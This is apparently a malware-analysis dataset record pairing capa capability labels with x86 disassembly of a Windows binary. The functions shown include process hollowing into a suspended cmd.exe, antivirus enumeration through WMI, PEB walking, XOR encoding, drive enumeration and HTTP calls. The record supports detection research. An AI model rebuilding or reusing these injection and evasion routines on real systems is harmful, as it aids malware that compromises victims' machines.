joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014ad
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
push eax
nop
nop
nop
nop
mov eax, dword fs:[0x30]
nop
nop
nop
nop
mov dword [ebp - 4], eax
nop
nop
pop eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
add esi, 0x14
mov edi, dword [esi]
jmp 0x4014eb
push dword [ebp + 8]
push dword [edi + 0x28]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x4014f5
mov edi, dword [edi]
cmp edi, esi
jne 0x4014d9
xor al, al
pop edi
pop esi
leave
ret
mov al, 1
jmp 0x4014f1

Function at 0x401666
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
xor edi, edi
push 0x104
mov dword [ebp - 0x62c], edi
mov dword [ebp - 0x628], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401809
push str.delays.tmp
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x61c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov dword [ebp - 0x624], edi
mov esi, 0xfffff
push edi
push 0x100
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x401809
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push edi
mov ebx, eax
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
pop ecx
pop ecx
push esi
call dword [sym.imp.msvcrt.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
push edx
push ebx
call fcn.00423b70
add esp, 0xc
push edi
lea eax, [ebp - 0x628]
push eax
push esi
push ebx
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401809
cmp dword [ebp - 0x628], esi
jne 0x401809
push esi
push edi
push ebx
call fcn.00423b70
add esp, 0xc
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x4000100
push 3
push edi
push edi
push SysReAllocString
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x620], eax
cmp eax, 0xffffffff
je 0x401809
push edi
lea ecx, [ebp - 0x62c]
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401809
cmp dword [ebp - 0x62c], esi
jne 0x401809
push esi
push edi
push ebx
call fcn.00423b70
add esp, 0xc
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x620]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x624]
cmp dword [ebp - 0x624], 0x3e8
jb 0x4016d0
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cf6e
leave
ret
xor eax, eax
jmp 0x4017fa
Function at 0x4047e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x404846
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x404818
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x404a3e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [ebp - 0x10], 0x33323130
mov dword [ebp - 0xc], 0x37363534
mov word [ebp - 8], 0x3938
mov byte [ebp - 6], 0
mov ecx, edi
mov eax, esi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
inc ecx
test eax, eax
jne 0x404a6e
mov byte [ecx], al
pop ebx
mov eax, esi
xor edx, edx
push 0xa
pop esi
div esi
dec ecx
mov dl, byte [ebp + edx - 0x10]
mov esi, eax
mov byte [ecx], dl
test esi, esi
jne 0x404a7c
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, edi
pop esi
call fcn.0041cf6e
leave
ret
Function at 0x406963
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.00410519
lea eax, [ebp - 0x980]
push eax
call fcn.00404ab6
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x4369bb
lea esi, [ebp - 0x8f8]
call fcn.004104e7
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x65dedc]
push dword [0x65dbac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x65dfb8]
test eax, eax
jne 0x4069ea
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b6e
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x65dfdc]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b62
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x65d9f8]
push dword [ebp - 0x918]
push 0x4378e0
push dword [ebp - 0x8e8]
call dword [0x65e01c]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b56
cmp esi, ebx
je 0x406a83
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x65ddd4]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x65dfa4]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x65e034]
test eax, eax
jne 0x406acb
push 0x4378e4
mov esi, dword [ebp - 0x8d8]
call fcn.004104e7
jmp 0x406b7f
lea edx, [ebp - 0x104]
call fcn.00411afd
cmp eax, 0xc8
jne 0x406bab
cmp esi, ebx
je 0x406b4a
mov edi, 0x7cf
jmp 0x406b2b
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b4a
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.00410609
lea esi, [ebp - 0x8f8]
call fcn.0041058d
mov eax, dword [ebp - 0x908]
call fcn.00402920
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x65df04]
test eax, eax
jne 0x406aec
push dword [ebp - 0x8e0]
call dword [0x65ded8]
push dword [ebp - 0x8e8]
call dword [0x65ded8]
push dword [ebp - 0x8dc]
call dword [0x65ded8]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.00410519
mov eax, dword [ebp - 0x8f8]
call fcn.00402920
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 0x18]
call fcn.00402920
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cf6e
leave
ret
push str.ERROR
jmp 0x406abb
Function at 0x40773f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 8]
push 0x40
push 0
push esi
call fcn.00407cdb
add esp, 0x10
test eax, eax
jne 0x40775f
xor eax, eax
inc eax
jmp 0x4077f5
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4077f2
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4077f2
push dword [ebp + 8]
lea edi, [esi + 0x40]
push pe_nt_image_headers32
push eax
push edi
call fcn.00407cdb
add esp, 0x10
test eax, eax
je 0x407757
cmp dword [edi], 0x4550
jne 0x4077f2
mov eax, 0x10b
cmp word [esi + 0x58], ax
jne 0x4077f2
movzx eax, word [esi + 0x46]
test ax, ax
je 0x4077f2
imul eax, eax, 0x28
push eax
mov dword [esi + 0x140], eax
call fcn.00411b78
pop ecx
mov dword [esi + 0x138], eax
test eax, eax
jne 0x4077c7
push 3
jmp 0x4077f4
push dword [ebp + 8]
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
push dword [esi + 0x140]
lea ecx, [ecx + edx + 0x18]
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00407cdb
add esp, 0x10
neg eax
sbb eax, eax
inc eax
jmp 0x4077f5
push 2
pop eax
pop edi
pop ebp
ret
Function at 0x40f54a
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f610
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423b70
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4365a7
push str.C:WindowsSystem32cmd.exe
call dword [0x65de88]
test eax, eax
je 0x40f60e
push edi
push 0x1000
push edi
push ebx
call dword [0x65df44]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f60e
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f615
push dword [ebp - 0x20]
call dword [0x65dff8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f66f
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f638
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x65dff8]
mov eax, dword [ebp - 0x1c]
jmp 0x40f610
Function at 0x411807
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42f175
call fcn.0042f069
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411971
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x436ee4
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x41196a
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x411964
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x411964
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.00411757
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x65dfe8]
push eax
call dword [0x65df78]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x65ddf8]
add esp, 0x20
push edi
call fcn.004104e7
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x41198f
or dword [ebp - 4], 0xffffffff
jmp 0x411985
push 0x436f60
jmp 0x41198a
push 0x436f68
jmp 0x41198a
push 0x436f70
call fcn.004104e7
mov eax, esi
call fcn.0042f0c5
ret
Function at 0x411997
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42f15a
call fcn.0042effd
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411aa0
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x436fe4
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411a99
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x411a93
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x411a93
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.00411d42
pop ecx
push eax
call fcn.004104e7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411abe
or dword [ebp - 4], 0xffffffff
jmp 0x411ab4
push 0x437004
jmp 0x411ab9
push 0x43700c
jmp 0x411ab9
push str.Unknown
call fcn.004104e7
mov eax, esi
call fcn.0042f0a2
ret

Function at 0x412541
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x436701
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x436702
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x41260c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x436596
lea esi, [ebp - 0x404]
call fcn.004104e7
xor ebx, ebx
cmp dword [0x65ddc4], ebx
jne 0x412733
push 0x436597
mov esi, 0x65e308
call fcn.00410549
push 0x436688
push 8
pop ebx
lea edi, [ebp - 0x42c]
call fcn.00411c4a
mov edi, eax
mov ebx, 0x65e308
lea esi, [ebp - 0x450]
mov eax, ebx
call fcn.004105c7
lea esi, [ebp - 0x438]
call fcn.00410609
mov esi, ebx
call fcn.0041058d
mov eax, dword [ebp - 0x438]
call fcn.00402920
mov eax, dword [ebp - 0x450]
call fcn.00402920
mov eax, dword [ebp - 0x42c]
call fcn.00402920
push 0x436690
push dword [0x65dbd0]
lea esi, [ebp - 0x420]
lea eax, [ebp - 0x404]
call fcn.00410609
lea esi, [ebp - 0x414]
call fcn.00410609
mov edi, ebx
lea esi, [ebp - 0x444]
call fcn.004105c7
lea esi, [ebp - 0x404]
call fcn.0041058d
mov eax, dword [ebp - 0x444]
call fcn.00402920
mov eax, dword [ebp - 0x414]
call fcn.00402920
mov eax, dword [ebp - 0x420]
call fcn.00402920
push 0x1d400
push 0x43f6e0
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00410519
call fcn.00412446
add esp, 0x14
mov dword [0x65ddc4], 1
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x3f4]
push ebx
push eax
mov dword [ebp - 0x408], ebx
mov dword [ebp - 0x3f8], ebx
call fcn.00423b70
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0xc
push dword [ebp + 0x40]
lea eax, [ebp - 0x3f4]
push eax
call esi
push 0x436694
lea eax, [ebp - 0x3f4]
push eax
call esi
push str.962abdb0b49579401d25d63a1f697be6
lea eax, [ebp - 0x3f4]
push eax
call esi
push 0x436698
lea eax, [ebp - 0x3f4]
push eax
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x3f4]
push eax
call esi
push 0x43669c
lea eax, [ebp - 0x3f4]
push eax
call esi
push dword [ebp + 0x20]
lea eax, [ebp - 0x3f4]
push eax
call esi
push 0x4366a0
lea eax, [ebp - 0x3f4]
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x3f4]
push eax
call esi
push 0x4366a4
lea eax, [ebp - 0x3f4]
push eax
call esi
lea eax, [ebp - 0x3f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea esi, [ebp - 0x408]
call fcn.00411e5d
xor eax, eax
lea edi, [ebp - 0x460]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x4ac]
push ebx
push eax
call fcn.00423b70
add esp, 0x18
push dword [ebp - 0x3f8]
lea esi, [ebp - 0x414]
push 0x4366a8
lea eax, [ebp - 0x404]
call fcn.00410609
lea esi, [ebp - 0x420]
call fcn.00410609
lea esi, [ebp - 0x404]
call fcn.0041058d
mov eax, dword [ebp - 0x420]
call fcn.00402920
mov eax, dword [ebp - 0x414]
call fcn.00402920
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x4ac]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0x404]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x404]
call fcn.00402920
lea esi, [ebp + 0x14]
call fcn.00401cde
mov eax, dword [ebp + 8]
call fcn.00402920
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cf6e
leave
ret
Function at 0x412b46
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x4365a5
call fcn.004104e7
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00410519
call fcn.00405237
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x412caf
push 0x4365a6
lea esi, [ebp - 0xc]
call fcn.004104e7
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.00411c4a
push 0x4366f8
push dword [0x65dbd0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea esi, [ebp - 0x30]
call fcn.00410609
lea esi, [ebp - 0x48]
call fcn.004105c7
lea esi, [ebp - 0x3c]
call fcn.00410609
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x3c]
call fcn.00402920
mov eax, dword [ebp - 0x48]
call fcn.00402920
mov eax, dword [ebp - 0x30]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
mov eax, dword [ebp - 0x18]
call fcn.00402920
push 0x1a00
push 0x43dcd8
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00410519
call fcn.00412446
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00423b70
add esp, 0xc
push 0x436704
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.004105c7
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x18]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402920
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cde
mov eax, dword [ebp + 8]
call fcn.00402920
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.0040f54a
pop ecx
test eax, eax
jne 0x412c95
inc edi
cmp edi, 0x64
jl 0x412cb1
xor edi, edi
jmp 0x412c98
Function at 0x41509a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x436a24
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x65df14]
xor esi, esi
inc esi
test eax, eax
je 0x4150e6
mov dword [ebp - 0x460], esi
push ebx
push 0x436a34
push dword [ebp + 0x80]
call dword [0x65df14]
test eax, eax
je 0x415108
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x415230
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x4152a0
jmp 0x415130
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00423b70
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x415174
cmp eax, 2
jne 0x415174
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e030]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x41518d
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e030]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
call fcn.0041210e
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e030]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401cfd
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43661e
push dword [ebp - 0x468]
call fcn.00414c20
add esp, 0x94
push esi
call dword [0x65de9c]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x41512e
jmp 0x41529e
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401cfd
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43661f
push dword [ebp - 0x46c]
call fcn.00414c20
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cde
lea ecx, [ebp + 0x74]
call fcn.004152c7
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cf6e
leave
ret